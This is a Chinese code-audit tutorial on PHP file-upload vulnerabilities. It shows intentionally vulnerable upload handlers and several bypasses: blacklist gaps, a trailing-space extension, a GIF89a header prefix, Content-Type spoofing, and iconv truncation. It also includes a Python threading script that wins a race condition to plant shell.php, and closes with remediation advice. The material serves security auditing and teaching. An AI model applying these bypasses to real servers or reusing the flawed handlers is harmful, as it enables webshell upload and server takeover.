【代码审计】文件上传漏洞总结

搜索关键函数:
move_uploaded_file() 接着看调用这个函数的代码是否存在为限制上传格式或者可以绕过。
1、未过滤或本地JS校验
2、黑名单扩展名过滤:
限制不够全面:IIS默认支持解析.asp,.cdx, .asa,.cer等。
例如下面的代码:

<?php
function getExt($filename){
 return substr($filename,strripos($filename,'.')+1);
}
if ($_FILES["file"]["error"] > 0){
 echo "Error: " . $_FILES["file"]["error"] . "<br />";
 }
else{
 $black_file = explode("|", "php|jsp|asp"); //允许上传的文件类型组
 $new_upload_file_ext = strtolower(getExt($_FILES["file"]["name"])); //取得被.隔开的最后字符串
 if (in_array($new_upload_file_ext,$black_file)){ 
 die(); 
 }
 else {
 $filename = time().".".$new_upload_file_ext;
 if(move_uploaded_file($_FILES["file"]["tmp_name"],"upload/".$filename)){
 echo "Upload Success";
 }
 }
 }
?>

不被允许的文件格式.php,但是我们可以上传文件名为1.php (注意后面有一个空格)。

3、getimagesize函数验证:
只要在文件头添加GIF89a即可,我们来测试一下
var_dump(getimagesize(“phpinfo.php”));
然后phpinfo.php文件的内容为:<?php phpinfo(); ?>
结果返回bool(false)
修改文件内容如下:
GIF89a
<?php phpinfo(); ?>
返回结果为
array(6) {
[0]=>
int(2573)
[1]=>
int(16188)
[2]=>
int(1)
[3]=>
string(27) “width=”2573″ height=”16188″”
[“channels”]=>
int(3)
[“mime”]=>
string(9) “image/gif”
}
4、文件头content-type验证绕过:
验证$_FILES[“file”][“type”]的值,这个是可控的。
5、函数误用导致上传绕过
以iconv()函数为例,在iconv转码的过程中,utf->gb2312(其他部分编码之间转换同样存在这个问题)会导致字符串被截断,如:$filename=”shell.php(hex).jpg”;(hex为0x80-0x99),经过iconv转码后会变成$filename=”shell.php “。
我们来测试一下,程序如下:

<?php
 $allow_file = explode("|", "gif|jpg|png"); //允许上传的文件类型组
 $new_upload_file_ext = strtolower(end(explode(".", $_FILES["file"]["name"]))); //取得被.隔开的最后字符串
 if (!in_array($new_upload_file_ext,$allow_file)){ //如果不在组类,提示处理
 echo "$new_upload_file_ext: False ext"; 
 }
 else {
 $filename = iconv("UTF-8", "gb2312", $_FILES["file"]["name"]);
 if(move_uploaded_file($_FILES["file"]["tmp_name"],"upload/".$filename)){
 echo "Upload ".$filename." Success";
 }
 }
?>

然后我们上传文件,添加空格,然后切换为Hex模式,将20修改为80~99的数。来看一下返回结果
Upload info.php Success
发现成功截断为info.php
6、竞争上传
主要涉及到的为copy函数。代码如下:

<?php
 $allowtype = array("gif","png","jpg");
 $path = "upload/";
 $filename = $_FILES['file']['name'];
 if (move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
 echo "file upload success.file path is: ".$path.$filename."\n<br />";
 }
 $new_upload_file_ext = strtolower(end(explode(".", $_FILES["file"]["name"])));
 if(!in_array($new_upload_file_ext,$allowtype)){
 #unlink($path.$filename);
 echo "Disallow type";
 }
?>

可以看到文件是先上传上去然后检查了扩展名,如果不在白名单内就删除,在一些CMS中会检查目录下所有非JGP的文件并删除。
我们可以生成临时文件(tmp.php)–>不断请求tmp.php在上层目录生成shell.php文件–>删除当前目录下tmp.php等非jpg文件,但留下了上层目录下的shell.php文件–>成功!
我们用Python多线程访问info.php,代码如下:

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import threading
import time
is_exit = False
def create_info():
    global is_exit
    while not is_exit:
        url = "http://172.16.100.1/test/upload/info.php"
        resp = requests.get(url)
for x in xrange(1,200):
    t = threading.Thread(target=create_info)
    t.setDaemon(True)
    t.start()
    print "start create_into threading %d" % x
def check_info():
    global is_exit
    print "start threading check shell.php:"
    url = "http://172.16.100.1/test/upload/shell.php"
    while True:
        resp = requests.get(url)
        if resp.status_code == 200:
            is_exit = True
            print "create file shell.php success."
            break
t = threading.Thread(target=check_info)
t.setDaemon(True)
t.start()
try:
    while t.isAlive():
        pass
    time.sleep(1)
except KeyboardInterrupt:
    print 'stopped by keyboard'
结果如下:
.....
start create_into threading 197
start create_into threading 198
start create_into threading 199
start threading check shell.php:
create file shell.php success.

结果如下:

…..
start create_into threading 197
start create_into threading 198
start create_into threading 199
start threading check shell.php:
create file shell.php success.

正确的做法:
1)上传扩展名白名单,使用in_array()或 利用===检查。
$allow_file = explode(“|”, “gif|jpg|png”); //允许上传的文件类型组
$new_upload_file_ext = strtolower(end(explode(“.”, $_FILES[‘upload_file’][‘name’]))); //取得被.隔开的最后字符串
if (!in_array($new_upload_file_ext,$allow_file)){ //如果不在组类,提示处理
exit(“$new_upload_file_ext: 不允许上传”);
}
2)文件名重命名为随机数
3)Nginx上配置访问上传目录下jsp或者jspx文件返回403